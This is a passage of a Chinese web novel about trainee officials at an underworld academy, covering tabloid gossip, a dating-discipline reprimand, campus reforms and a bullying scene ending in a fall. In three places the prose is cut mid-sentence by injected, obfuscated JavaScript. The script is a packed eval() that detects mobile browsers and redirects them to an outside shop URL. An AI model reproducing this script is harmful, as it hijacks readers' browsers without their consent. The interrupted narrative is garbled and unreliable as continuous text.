后来,这个餐桌上发生了一些混乱,有的碗盘差点被过于激动的手打翻,有的菜肴也因为滴入了眼泪变得太咸,还有的饮料因为狂喜而变得更加甘美……窗外爆竹声声,人们笑着恭贺新禧,总之,这是一个非常非常美满、幸福的新年。 然而,在地府极深之处的后土神殿,气氛可远算不上愉快。 “这成什么样子!”一个男子恨恨地将一份《羊城快报》扔在了桌上,“帝君派他是去巡视地府的,还是让他去四处玩耍的?如此的不庄重,怎配为众祭司之首?” “大过年的,冰月你做什么生那么大气。”一个女孩把报纸捡起来看,报纸上写着一行耸动的标题:绝色男子为获奖品,两小时书写366副春联抽空奖池。还配有以春联为背景的温尔雅的大照片。 “琉琉你还夸他!”冰月抱怨起来:“身为祭司,现身人前时应稳重端庄,就算是与民同乐,也不能做出这么掉价的事情吧?何况现下这样抛头露面,若是被人看破身份,坏了大事怎么办?” “别以为我看不出来,你就是嫉妒他又出了风头了。”琉琉凉凉地吐槽:“有能耐就到帝君面前告状去,别在我耳朵边抱怨个没完。” “哼,谁不知道帝君最护着他……”冰月嘟嘟囔囔,“沾光露脸的活让他去,微服出巡还让他去,帝君简直是……” 琉琉的脸色唰的一下变了,吓得冰月赶紧把喉咙里的“偏心”二字咽了下去,琉琉横他一眼:“说话要注意,敢对帝君不敬,这祭司你是不想当了?” “这些活不让他去,难道让你去?你肚子里有几瓶墨水,连笔试都通不过,整天只知道打扮爱俏,绣花枕头一包草!让你去了才是浪费!” 看冰月依旧愤愤不平,琉琉无奈地摇了摇头,暗骂真是个美丽废物,若十三名后土祭司中有第二个矿精,她早就懒得管他。可惜大多矿精们都相貌一般,加之脑袋都属石头的,禀赋愚顽,能进到祭司行列的少之又少,她也就始终不能放弃冰月这个天然同盟。声音放软,她温言道: “看在同族的情分上,我提点你一句。你我才干有限,当个花瓶祭司在后土大神身边侍奉,已经是几世修来的福分了,比不得温尔雅腹有锦绣,能帮助帝君打理地府大事。你我身为矿精,乃后土大神腹心孕育而成,是她真正的亲族,只要有这一份依凭在,即使你我不出头,地位也不可动摇。” 这话冰月听着倒是很受用,连连点头:“说的是,凭那个温尔雅怎样,怎比得上我们和帝君亲近!” 骗骗你的,你还真信了……琉琉再次对冰月的智商失望了,好在蠢货更好摆布。话锋一转,她恐吓到:“你我依凭对帝君的忠心立足,万不可再从嘴里露出一句对帝君不敬的话,否则吃不了兜着走!巡视地府不是什么好干的活,那温尔雅现在为吃点好的,不惜把奖池抽空,可见外面日子艰苦,怎么比得上我们在后土神殿安闲享受,供奉无数?你有清福不会享,还嫉妒那拉磨的驴,就没见过你这么笨的!” 几句话把冰月说的心满意足,再也不提此事。待他转身走了,琉琉这才抽出时间细细斟酌那份报纸。这份报道内含着非常重要的信息——写春联的是温尔雅,可那张照片里,抽奖的却是另一个女孩。 只有冰月那笨蛋才以为别人都跟他一样,只知道吃好睡好打扮好,人生目标就是耀武扬威压人一头,琉琉很清楚,温尔雅绝不可能为了自己的口腹之欲,便冒着暴露身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她去问,大家只是暧昧的笑,搞得她不知所措。最终,还是白子欣大大咧咧地把一张报纸拍在她面前,才解开她的疑惑。 “平安姐魅力惊人嘛!”白子欣对她挤眉弄眼,“引得温尔雅这般的美男子为你怒写366副春联,只为让你抽空奖池拿头奖,堪比烽火戏诸侯,比言情剧还言情!学校里都传疯了,说你们俩是学霸配会长,校园优等生之间日久生情,还说你们已经去见家长了……话说你们是啥时候好上的?我都没看出来!” “……啥?” 天边飞来一个炸雷,祝平安惊呆了!她只是回去过了个年而已,怎么就从单身狗变成世人眼里的校园cp啦?她夺过报纸一看,两眼一黑,不知道这个《羊城小报》的记者什么居心,言辞间把她跟温尔雅的关系形容的暧昧无比,就差说温尔雅是为了当众示爱,才奋笔疾书为红颜了! 幸好这记者没跟着他们到家里去,否则拍到两个人一块进一间房子,不是更说不清了?不过即使是这样,也够祝平安痛心疾首了:“你是傻的吗?我们成天在一块上学,你都看不出来的事情,当然就是没有了!这小报的记者就是为了销量胡说八道,居然这样凭空污人清白,我找他们去!” “哎呦呦,你还害羞了?”白子欣不知死活,还在那打趣,看祝平安真急了,这才正色道:“这种事情你找了也没用,人家是用报道坊间奇闻的口吻叙述的,只是暗示,又没白纸黑字写着你们俩是情侣关系,构不成造谣诽谤罪。” “再说了,你看这里。”白子欣指了指作者名:“作者是匿名爆料投稿,报纸编辑也不知道他是谁,这是小报记者的常态,你找了也白找。” 祝平安只觉脑门青筋直冒,但诚如白子欣所说,找也找不出个鸟蛋来,何况她学业繁忙,没空跟人家耗,只能忍了这口气:“太可恨了,等以后我上了任,早晚要杀杀小报这股歪风邪气!” 还没等她发狠完,远远地,一个会员就跑了过来:“祝会长,现在去谢必安副校长办公室一趟,副校长说要找你谈谈!” 27. 公职人员的恋爱纪律 一进谢必安副校长办公室的门,祝平安就感到气氛不对。三位校长里,她最怵这位谢副校长,此人在开学大典上给她留下了太深印象,一派雷厉风行不苟言笑,还掌握着平时分的生杀大权,她入学三个月,除了加平时分那次要到谢副校长这里记档,再没跟他打过照面。 谢副校长的办公室风格相当冷肃,纯白空旷,铁门铁窗,像是糊了一层白粉的监狱一样,不过想到他原本的职责就相当于“狱警”,倒也不是不能理解他的装修风格。而现在,办公室里的气氛更是严肃的像是三堂会审,谢必安在桌案后一坐,面色阴沉,宛然就是一个审判官,他身侧,站着一个脸色比他更阴沉的陪审员,正是张松鹤。 不妙啊,顶头上司跟大领导一起找你谈话,还有比这更恐怖的事情吗?祝平安决定夹紧尾巴做人,一进门就低头给两个人鞠躬:“部长好,校长好。” 可喜的是,张松鹤虽然脸色阴沉,到底还是说道:“你坐。” 很好很好,还让我坐,看来事情不会太严重,祝平安也不敢全坐,小心的在沙发上搁下半边屁股:“二位找我来,是有什么事情需要我做吗?” 谢必安与张松鹤对视一眼,最终还是张松鹤开口了:“学校听说,你跟街镇行政部的温尔雅在谈恋爱,有没有这回事?” 祝平安往后一仰,只觉再起不能,常言道好事不出门坏事传千里,现在看来,坏事没有八卦传播力强,这才一两天的功夫,怎么连校长都知道了? “不是!我们是清白的!”祝平安字字啼血了。 “你们没谈恋爱,那这是怎么回事?”谢必安掏出一份《羊城小报》,祝平安再度两眼一黑,该死的小报,怎么给她惹那么多麻烦! “真的不是啊!我们只是单纯的朋友!他参加活动那是因为……”因为什么?温尔雅参加活动不就是为了让她高兴吗?祝平安一时卡了壳,不知道怎么说好了。 “你别紧张,你们都是成人,又不是早恋,你怕什么?我跟你的部长今天叫你来,只是为了要跟你宣讲一条纪律。”谢必安看她紧张,安慰了两句,“原则上,我们不反对学员恋爱,但是琢玉学院不是寻常学校,你们这些学员将来都是差役,所以有些纪律现在就要贯彻。” “同部门者,不得谈恋爱;有上下级关系者,不得谈恋爱;事务上下游部门,不得谈恋爱。”谢校长一一为祝平安说明了,“同部门者谈恋爱,会给人员管理增加难度;上下级谈恋爱,就有偏私提拔的嫌疑;上下游部门谈恋爱,如法院和检察院的人员相恋,就容易通同舞弊,一手遮天,都会给政府造成不好的影响。” “您不用跟我说的这么详细,我真的没有……” “除此之外,在公共场合高调牵手秀恩爱也是禁止的。”谢必安压根没理她,“倘若被公众识破了身份,立刻就会被舆论抨击作风,还会质疑政府的清廉问题。危及政府形象不说,对你们的影响也很坏。虽说你们还不算正式的公职人员,也没有造成严重后果,但我还是要扣你们5分平时分。” 啥?! 祝平安目瞪口呆,平时分很不容易加的,她辛辛苦苦操持了志愿者协会,才加十分而已,一下子扣掉五分?简直比割肉还疼! 她不禁满腹委屈:“校长,我们不是高调秀恩爱!温尔雅只是感谢我家邀请他过年,才投桃报李想让我高兴的,您……” 张松鹤看她一眼,她连忙把“您处事不公”五个字咽下去,硬生生转换成更柔和的:“您是不是再考虑一下我的说法?” “你们谈不谈恋爱,很难有实证;但这张报纸,至少说明了这件事的影响不好,我不是不相信你的说法,只是,你还记得平时分的意义吗?”谢必安收起那张报纸,“平时分就代表你给人的印象,高调示爱还上了报纸,不明真相的群众必定认为你行事轻浮,若被人知道你们是预备差役,甚至还有以权谋私的嫌疑,我这也是秉公处理,并非不信你。” 谢必安的话在逻辑上无可挑剔,难道就不能再争取争取了吗?祝平安把祈求的目光投向张松鹤,张松鹤想了一会开口了: “若是不想让别人觉得你行事轻浮也可以,你们俩现在就登记结婚,这样的话,此前的高调示爱就成了你们情谊坚贞的佐证了,稳定的婚姻对仕途也有好处,说不定还能加分。怎么样,你干不干?” “谁要干哟!我清清白白一个单身狗,大好前途等着我呢,只是被小报八卦了一下而已,怎么就扯到要结婚啦!”祝平安愤怒咆哮了! 听到她这么直白的拒绝,张松鹤脸色立刻柔和,噗地笑了:“看来是真没谈恋爱,要不然,你肯定要顺杆子爬上去的。” 他看到那张小报时,心里就隐约有些不舒服,现在,随着祝平安果断的拒绝,那些情绪也烟消云散。他一向很欣赏祝平安,相信她未来的前途不可限量,但那是在她一心扑在事业上才会有的前景。 要是跌入温尔雅这种美貌温柔的恋爱陷阱,祝平安的精力肯定要被占去一半,像是寻常女子一样,恋爱、吵架、分手、和好、随之而来的就是情绪起伏影响工作状态,甚至还时不时要请长假,工作效率大打折扣,让他的慧眼挖掘和倾心栽培都付之流水……哪个上司会喜欢这种未来呢? 祝平安无语地瞪着他,他走到祝平安身边,低声道:“好好表现,后面多做点成绩出来,我不会让你吃亏的。” 祝平安听懂了他的潜台词:人家扣得,难道我就加不得?她立刻收了声,向谢必安低头认罚了:“副校长的教诲我记住了,以后一定谨言慎行。” “知道了就好,你回去吧。”谢必安也不欲难为她,对于张松鹤的话只当没听见,挥手放祝平安回去了。 祝平安踏出谢必安的办公室,一转身就看见温尔雅也从对门范无咎的办公室出来了,想必是跟她遭遇了一样的谈话。一想到自己今天的遭遇都是因温尔雅而起,祝平安本想生气,但是又气不起来——人家对她好,难道还好出错了?大螃蟹她祝平安当时吃的就不香?归罪温尔雅根本没道理!还是小报的不对…… “平安,校长是不是也扣你平时分了?”温尔雅看见她,抢先道歉了,“我做事考虑不周,给你添麻烦了,真是对不住。” “别说这些了,都是无妄之灾,怪不得你。”祝平安摆了摆手:“只是今后我们交往,要更加谨慎一些,最好每次见面都有第三者在场,单独补习也算了吧。” 果然,孤独和冷寂才是生活的常态,刚刚才得到的一丝温暖,转瞬就会熄灭……温尔雅的瞳孔瞬间变得黑沉沉的,如同暴风雨前的大海。而祝平安还一无所知:“你别多心,我不是要与你生疏,只是现下要避避风头,姿态必须大方些。以后毕了业,咱们还是好朋友,往来就不用考虑这么多了。” 她拍了拍温尔雅的肩膀:“你不是知道我家在哪吗?等咱们毕业了,你想来就来,我保证每次都好好招待你!” 不是要与我生疏,只是暂避风头吗……温尔雅努力想从祝平安的话语里找出说谎的痕迹,却只见她笑容明净,一番话句句真心,不知不觉就驱散了温尔雅眼中的阴霾。他也微笑了,为表配合,他故意用职务称呼祝平安了:“好的,祝会长。” “那就这样吧,温会长。”祝平安俏皮地向温尔雅伸出手,两个人很公事公办、假模假式的握了握,又觉得这样有点好笑,忍不住噗呲一声笑出来。 “明天活动教室见!”祝平安向温尔雅挥手告别了,温尔雅也含笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837496|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应。一转身,他的脸色立刻变了。 他必须要做两件事,第一,查清楚那该死的《羊城小报》是怎么回事;第二,既然以后只能在公事场合才能接触祝平安的话,那恐怕,志愿者协会以后的公事场合,就会有很多、很多了…… 同样的,祝平安也在暗暗捏紧拳头发誓了:为了把平时分给补回来,一定要再做点成绩出来!要让张松鹤多多的给她加分,还不能被外人挑出毛病! 于是第二天,金毛毛面前就多出了两份计划书,分别是来自祝副会长的《关于加强我校学员实地研修技能的提议》,和温副会长的《论团体实训疏》。内容也是大同小异:随着三个月的小组补习,会员们的各门课程都在逐步向好,现在协会的会员们想要通过课程考试已经基本无压力了,但能否通过实地研修考试,却不好说。 开学大典上,范无咎校长曾说过:实地研修,就是考验大家把在校期间所学知识运用到实际的能力,相应的,志愿者协会也应当帮助大家尽快掌握这种能力! 在此,祝平安和温尔雅双双提议,应当将目前的会员混编成小组,再以小组为单位帮助学校解决实际问题(譬如大家都吐槽的食堂难吃、洗澡位置难抢、交通不便等),每个小组都有多个部门的学员,以此来模拟真实的工作环境,让大家能各展所长,学会合作,为通过实地研修考试做准备! 两大副会长(也是实际掌权人)都想推行的事务,何况还对大家都有好处,金毛毛有什么理由拒绝呢?眨巴着大眼睛,金毛毛在计划书上盖了章,接下来,计划书被一路递上去,历经张松鹤、谢必安、范无咎的签章,最终送到了校长魏玄成的案头。 细细阅读了这两份计划书,魏玄成手捻胡须看的入神。 “这些学员里,居然还真有人才,在校期间就能做出这样的计划书。”谢必安喝下一口茶,询问范无咎:“这跟你一开始想的实地研修考试内容都差不离了吧?” “是呀,这些学员,真是让我惊讶。张部长,祝平安可是您的得意门生,您不会给她透题了吧?”范无咎挑挑眉毛,把怀疑的目光转向张松鹤。 “定然不会是张部长透露题目。”说话的却是魏玄成,他把两份计划书往前一推,示意大家来看:“这两份计划书虽然中心思想一致,但侧重点却有所不同。祝平安这份计划着眼于解决问题,谈了很多学校内的顽疾,但计划细节略显稚嫩。温尔雅这份计划,着眼于团体参训,各部混编,行文老辣,连鄙人也很难挑出错处。倘若是张部长泄题所致,两份计划书不可能有这种分歧。敢于承担,长于实干……这二位学员,是地府需要的真正人才。” “那么校长您的意思是?”张松鹤向校长微微欠身,开口询问了。 “自无不可。”魏玄成大笔一挥,签字同意:“传我的话,祝平安和温尔雅各加十分平时分,此后志愿者协会享有资源调配权利,一切非教务人员应尽力配合,给予方便。” 他在计划书上盖上学院的印章:“这些孩子们还能折腾出什么花样,就让我们拭目以待吧!” 有了校长拍板,志愿者协会的会员们很快发现,噩梦……开始了。 在祝副会长的安排下,他们被混编成了十人小组,每个小组都要负责参与到学校治理工作中来。而温副会长则制定了更详细的工作制度:为了通过实地研修,起床时间又被迫提前了!现在每个小组在上课前都要开晨会,汇报工作进度!每周还要搞周报! 晨会上,温尔雅唇角微扬,大大方方地坐在祝平安身边,时不时对祝平安的发言提出意见,非常的公事公办,任谁看了都得说两人交往之正大光明。 谁能想到,这一切的起因,是一份《羊城小报》呢? 28. 蝴蝶效应 在志愿者协会的热(真)情(抓)服(实)务(干)下,琢玉学院的学员们逐渐发现,他们的生活有了可喜的变化。 首先,让最多学员受惠的,则是自来水铺设工程。一眼山泉水供应近万人洗澡,就算是错峰分流也还是跟下饺子一样,每天抢澡位都有人打起来。 为了解决这个问题,一个同时拥有水务部、工程部、武装部学员的小组,发动诸多学员上山砍竹子,然后在短短十天内,通过竹子拼接成土法引水渠,将山泉水引到了宿舍区,还在宿舍区的一角建立了淋浴间!这下学员们需要洗漱的时候,就不用苦逼兮兮的走上二十分钟了,抢澡位的事情也得到了杜绝! 其次,交通条件也改善了。此前,七槐山这里根本就没有公共交通,学员们要么是家里送来,要么是打出租过来,想要离开,那可就难了,站上大半天也不一定能等到出租!学校养的送魂鸟还得申请才能使用,想要出门,基本只能靠走,实在是太不方便了! 针对这个现状,一个同时拥有道路运输部与街镇行政部学员的小组,做出了自己的努力:他们先是以学院的名义成立了一个居民组织,以此向交通部要求开通羊城-七槐山的公交班次! 虽然交通部考虑到长期成本驳回了这个提议,但是,道路运输部开通了附近小镇(卫珑往返送信的那个镇)到七槐山的交通班次!这下,学员们坐二十分钟的送魂鸟接驳车,就能到镇上周转去别的地方啦! 交通方便了,商务的条件就达成了。一个同时拥有商务部和城市规划部学员的小组也灵机一动,他们到附近镇上去招商了。此前学院连个杂货铺都没有,大家购物都极不方便。虽说学校包吃住,但大家也有其他日用品需要添置,要购物的话,要么徒步去隔壁镇上买,要么写信让家里寄过来,麻烦得要命。 隔壁镇的大超市听说琢玉学院这里,有两万多名师生时,欣然同意来此开办分店。摊贩们也都嗅到商机,不几天,琢玉学院大门口就变成非常热闹的市场了!学员们下了课,走上一会儿就能来到超市添置日用品,在忍受不了食堂荼毒的时候,也能出来买点炒粉、鸡蛋仔、肉夹馍等小吃,抚慰自己的五脏庙了。 检查道路卫生、抽检食品安全、防备小偷小摸、制定消防条例、巡视物价高低、发布天气预警……围绕着这个市场,坊市营缮部、食安巡检部、公共安全部、消防署、市监部、应急部的学员都有了应用自身技能的场所。不仅如此,摊贩们还要向学院缴纳管理费,办理摆摊证,于是,审计、税务、金融部的学员也有了自己大展身手的机会。 农业部的学员在山腰开了梯田,种下了速生菜,一个月后就收获不少,几乎都能供应食堂一半的青菜量了;医疗部的学员用申请教具的名义搞来了一套外科手术所需器械,还有真正的医疗帐篷——这学校终于能做最基础的急救了,之前学员训练时受伤都得去羊城治疗;登闻部的学员发起了“我为学校提建议”活动,短短两天就收到了几千条诉求,等着各小组一一改善治理…… 每一名会员虽然都被晨会和周报整的叫苦不迭,但同样的,他们也在这个过程中受益匪浅。他们的人际交往能力提高了,预算意识变强了,细节考虑的周到了,对审批流程也熟悉了。 两个月磨砺下来,虽说也出了不少乱子,但学员们惊奇的发现,原来只要想做,大家团结一致,就能够把一件事情做成、让生活变好。这个认知,可是大部分学员此前从未有过的!毕竟之前他们都是老百姓,到哪里去培养这种公职人员的认知呢? 信心增强了,他们的行动开始变得更加果断、更加自信,学校不仅仅是学校了,而是大家花费了心血,胼手胝足搭建起来的试验田。每一个人都用心地灌溉着它,希望它变得越来越好,这也支持着大家不断进行工作优化,学员们身上已经隐隐有了那种严谨、精干、可靠的味道——那正是魏玄成最希望学员们长成的样子! 魏玄成同意这个计划的时候,已经做好了亏本的准备。本来他以为学员们能够从学校财政榨出点钱,把自来水通了就不错了,当看到那繁华的市场、后勤支出减少的报表、可观的管理费收入时,魏校长笑的嘴巴都咧到耳朵后面去了。 他这才明白,自己当真小瞧了这些学员的潜力,按照这样的趋势下去,这些学员在各自的岗位一定能大放异彩! 南美洲的蝴蝶扇动了一下翅膀,两个月后酿成了太平洋上的龙卷风,两个月后,连计划发起人祝平安都没想到,学校能有这种翻天覆地的变化! 虽说一项项治理工程都是她签字通过的,但……她都快不认识这里了——一个荒山野岭的帐篷区,现在宛然像个真正的小镇了! 大家真是聪明能干呀,但是我自己就一点成绩都没做出来……祝平安有点emo了。不是她的小组不努力,而是……她的小组可能,选择了一个特别难啃的课题。 没错,祝平安这个小组决定解决的难题,是怎、么、让、食、堂、的、炒、菜、更、好、吃! 祝平安这个小组的成员,大家估计也都猜到了,除了她们寝室的四个人以外,还有金毛毛、白子欣、温尔雅,以及六道轮回部、□□的两名学员,因为会员人数不够分,所以并没满十人。 为解决食堂问题,组员已经想尽了办法,譬如,□□的学员搜罗了无数的菜谱,林四梅从当过炊事兵的战友那里搞来了一套教授厨艺的视频课,白子欣将老妈供奉的美食分享给厨子,希望他能获得一些关于食物的正常品味……但不管怎么努力,食堂的炒菜水平还是——一如既往的难吃。 桂中秋已经在研究给食堂培育新品种蔬菜了,怎么糟蹋都不会难吃的那种;叶霆霓则在翻看法律条文,考虑给厨子阿琴安个危害公众食品安全罪,拉去十八层地狱算了;祝平安一边考虑办法,一边还要盯紧叶霆霓别乱来,感觉心力交瘁。 愁啊愁,但是该干的活还得干。最近他们的工作方法是紧盯厨子的一举一动,看到底是哪个环节出了问题。祝平安下了课,就认命的往食堂走去,要不是实在没空,她都考虑干脆自己上阵当厨子算了!一劳永逸! 月色温柔,百花芬芳,多么美好的夜晚呀,居然要去食堂遭受荼毒……要么绕路过去吧?能拖延一会是一会…… 这么想着,祝平安的脚悄悄踏上了另一条路,她打算绕着后山泉水(原本的女澡堂)走一走,泡个澡什么的,也好提振一下精神。 后山安静极了,在自来水系统开通后,已经几乎没人会来这里洗澡了,祝平安打算久违地享受一下包场泡澡的感觉,然而就在她快要靠近水潭的时候,忽然听到有人说话的声音。 咦,现在还有人在洗澡吗? 祝平安停下脚步,偏头看去,在最上方的水潭旁,有几个女子正坐在石头边嗑瓜子聊天,她们旁边是两大盆堆积如山的脏袜子,水潭边还蹲着一个人,背影细细瘦瘦的一小条,正在努力的洗袜子。 “没想到你还有今天吧,大小姐。”嗑瓜子的女人呸地吐掉瓜子皮,正好吐在洗袜子那人的脸上。看到洗袜子那人侧头闪躲,她眼里闪过一抹快意,大声呵道:“不准动!” 那人听了她的话,居然真的不动了,可就是这么一侧脸的功夫,祝平安已经认出了那人的身份——卫珑!她怎么在这洗袜子? 自从公交线路开通后,镇上的邮政部门也就把琢玉学院纳入管理范围了,卫珑不再需要来回送邮件,加之学校各方面建设如火如荼,卫珑的工作也就一天天变少,她又没加入志愿者协会,祝平安也很久都没看见她了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837497|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这次再看她,怎么好像变得更瘦了? “哟,还真就不动了,够听话,比我家养的狗还听话呢,来,汪汪叫两声。”嗑瓜子的女人嘻嘻笑着,故意又吐了个瓜子皮在卫珑脸上。 卫珑一声不吭,手上不停的洗袜子,女人生气了,在卫珑的胳臂上重重拧了一把:“我在跟你说话,没听见吗?” 祝平安皱起眉头,这是在干什么?这几个女人是谁,为什么要这么做? 很快,另一个声音响了起来:“吴可,别动手,留下痕迹就不好了。” “万依依,你怕什么?”吴可继续咬牙在卫珑胳膊上拧了一把,看手劲就挺疼的,“之前她老是在人前出现,可能还有人发现她不对头,现在自来水已经通了,洗澡也都在宿舍了,谁会看见她身上有伤?陈春雨,你说是不是?” 叫陈春雨的女人懒洋洋倚在一边:“可不是?之前还怕她家里人来找茬,结果连她家里人都不要她了,这几个月就没有一封家信寄来,就算她受了伤也没人在意。 “听见了吧?这世界上没人要你了,好好听我的话,我还让你舒服点,要不然有你好看的!”吴可得意洋洋,“让你高贵!让你不拿别人当人,今天你就试试当狗的滋味吧!” 听到这话,卫珑的头垂的更低了,祝平安也暗暗摇头,这几个人的嘴真是跟刀子一样毒辣,从言谈间,她也听出了这几个人的身份,应当是卫珑的室友。 真是风水轮流转,卫珑刚到学校,对室友颐指气使的时候,想得到自己有一天会在这里受辱吗?怪不得这几个人这样对待卫珑,看来是早有旧怨啊。 既是如此,祝平安也不愿插手,卫珑自作自受,被苦主报复一番出气也是应当的。她转过身,身后又传来吴可的叱骂声:“叫啊!你叫啊!装哑巴给谁看,之前你的嘴不是很会说吗?” 吴可骂了几句,见卫珑始终不吭声,便解下皮带,抡圆了抽在卫珑背脊上,发出啪的一声脆响,这声音让吴可激动地一阵颤抖,两颊发热。看着卫珑跳着躲避她的抽打,吴可心里满是报复的快意:有钱人了不起吗?家里有权了不起吗?一朝被家里抛弃,还不是要像现在这样,要被她踩在脚下! 平心而论,卫珑之前欺负吴可相对较少,因为那时候吴可还算是她的“小姐妹”。吴可这人一双势利眼,见到卫珑举止用度不凡,便处处捧着她,希望与她交好,意图分润好处。相应的,卫珑对她比较和气,也就使唤吴可洗过一次袜子而已,万依依和陈春雨才是真的被卫珑当丫鬟用。 常言道媚上者必然欺下,否则无法发泄在上位者处承受的压力,心理就会失衡,吴可就是个活生生的例子。抢着拍卫珑马屁的是她,后来见卫珑失势,对卫珑动辄打骂的也是她。真正被欺负的万依依和陈春雨,倒没她这么炽烈的报复心。 每次看到昔日那个高高在上的大小姐低着头,给她洗袜子、跑腿、做粗活,吴可心里就充满了变态的快感,好像把卫珑踩在脚下,就证明了自己的能力,征服了卫珑出身的阶层,这感觉让她陶醉不已。 之前卫珑有很多校务杂活要做,吴可捞不到什么机会使唤她,近来学校的工作都被志愿者协会解决了,卫珑也就有更多时间待在宿舍里,也就是落入了吴可的掌控中,这不能不说是一种命运的蝴蝶效应了,志愿者协会的实训计划,居然顺带着酿成了卫珑的灾难。 刚开始,吴可也还算收敛,只不过是使唤卫珑打扫卫生、带早饭、买东西而已,最多嘴上讽刺几句。可随着卫珑的不反抗,也不见有人出头,吴可的胆子也越来越大,逐渐她开始上手推搡、拧掐卫珑,再到用皮带抽打她。 皮带落下,声音清脆,吴可的动作越来越快,越来越狠…… 意外,就是这个时候发生的。 29. 对不起,没关系 卫珑已经很累了,从前天开始,她就没有吃饭,吴可一直盯着她,不准她吃任何东西。今天上午,吴可又无端发作,让她蹲在这里洗了半天袜子,现下,几皮带抽下来,她已经觉得支撑不住,吴可丝毫没留力,每一下都打的她额冒冷汗。 她本来不想躲的,她早已下定决心,要用最端正的态度来面对自己的惩罚。她从前待室友们不好,所以室友们不管怎么对待她,她都觉得自己是罪有应得,包括被吴可抽打辱骂,也是她赎罪的一部分。 等到室友们出够了气,她就算是赎完了罪,到时候,她就能洗脱过去的黑暗,迎来清清白白的新生…… 可是,好疼,真的好疼呀。 皮质腰带抽在身上,好像能把她的皮肤生生抽破一样,皮带扣用力砸在脊背上,立刻就在背上留下一块淤青。这痛苦像是火烧一般灼痛,像是痉挛一般扭曲,卫珑的四肢背叛了她的意志,开始像是落入罗网的活鱼一样徒劳地蹦跳着,试图逃离这痛苦的命运。她的大脑因缺乏食物而一片模糊,眼睛逐渐失去焦距…… 脚下突然一轻,身体自由下坠,吴可那扭曲的脸迅速离她远去,风鼓起她的头发和衣袖,她迷迷糊糊地想,啊,原来坠落是这种感觉吗? 这感觉……这感觉很不好,原来,坠落是这么一件可怕的事情…… 一滴泪悄悄渗出了她的眼角,卫珑用最后一丝力气昂起了头,群星眨眼,夜色宁静,她的眼睛看到了无比皎洁美丽的明月。 远处,祝平安在听见皮带发出的脆响时就回过了头,看到那伙人在抽打卫珑时,祝平安感到不管不行了:报复一下出出气可以,但你们也不能太过分了吧! 她所处的位置离最上面的水潭还有一段距离,声音向上传递不易,喊了好几声那伙人也没听见,还打的越来越用力了。祝平安只好往上爬,还没爬几步,就看到卫珑跳着躲避吴可的抽打,不慎踩到一块长满青苔的石头上,脚下一滑,从最顶部的水潭跌落了下来。 这处的水潭群以瀑布相连,山势跌宕落差约有三四十米,近日又逢春汛,水流湍急,卫珑这一跌非同小可,她先是噗通一声掉进第二个水潭,接着又被湍急的水流裹挟了下去,又被冲进第三个水潭! 祝平安吓得心都凉了,如此跌落上七八次,人还能活吗?她这会儿满心都想着不能出人命,也立刻连滚带爬地往水潭冲去,可恨距离甚远,最终,她在第六个水潭截住了卫珑。 她跳进水里,将卫珑拖上岸来,卫珑轻的让人难以置信,一张脸比她这个溺死鬼还苍白,哪里看得出当初的风采?再看身上,皮肤在跌落过程中被水潭底下的石头割破,大大小小都是血口子,脊背和四肢还能看到被皮带抽出来的淤痕,鲜红的血与身上的乌青混在一起,令人触目惊心。 “卫珑?卫珑?”见卫珑两眼紧闭,祝平安柔声呼唤着她的名字,用力拍拍她的脸,“醒醒,醒来看看我。” 卫珑还是不睁眼,祝平安又是掐人中,又是捏虎口,又想起生前学过的胸外按压急救,也死马当活马医地按起来。最终,不知道是那一招管了用,一口气从口唇边溢出来,卫珑缓缓睁开了眼睛。 “太好了,你醒了。”祝平安松了口气,把一根手指举到卫珑眼前:“你看,这是几?” 她期待地看着卫珑,谁知,卫珑的举动却出乎她的意料。没有回答她比划的是几,卫珑一把握住了她的手,攥的死紧死紧。 “对不起,对不起……”卫珑轻轻地说,两道眼泪从那双曾经骄傲美丽的大眼睛中滚滚滑落,“我现下知道了,从半空掉下来很可怕,被人欺负,很不好受,都是我错……” 她起初只是默默流泪,很快又变成了小声的抽噎,最终,她像是个知错的孩子一样嚎啕大哭起来,她哭的很难看,嘴巴大张,面容也扭曲了,鼻涕眼泪混成一团,额头也渗出汗水,不知道是疼的还是激动的,身上的血口子随着她的哭声又开始渗出鲜血,“对不起,对不起,祝平安,你能不能原谅我?” 这不同于卫珑此前那口服心不服的道歉,感受到她话语里那份真挚的歉意,看着卫珑哭的凄凄惨惨的模样,祝平安的鼻子一酸,哎呀,她居然也流出了热泪。 “……没关系。”她尽量放柔声音,卫珑身上已经找不到一块好肉,她便轻轻的抚摸着卫珑的头发,好像在安抚一个不懂事的小妹妹,“我早就原谅你了,不是吗?你还记得吗,有一张小纸条,上面写着新年快乐……” “是的,是的,你祝我新年快乐……”卫珑的嘴角边也勾出一个浅浅的笑容:“从今以后,我一定好好表现……我认罚,赎罪……” “好了,过去的事情不提了,你已经表现的很好了,我都知道了。”祝平安轻轻地将卫珑放在一块相对平整的石头上: “不要说话,那样会耗费你的力气,你闭上眼睛,好好休息一会儿,我要去料理一点事情,马上就送你医务室。” 得到了祝平安的原谅与抚慰,卫珑含着笑意闭上了眼睛,昏睡过去。祝平安从怀里掏出桂叶胸针戴上,转过身,她满含怒气地对上了从上方水潭赶下来的三个女人。 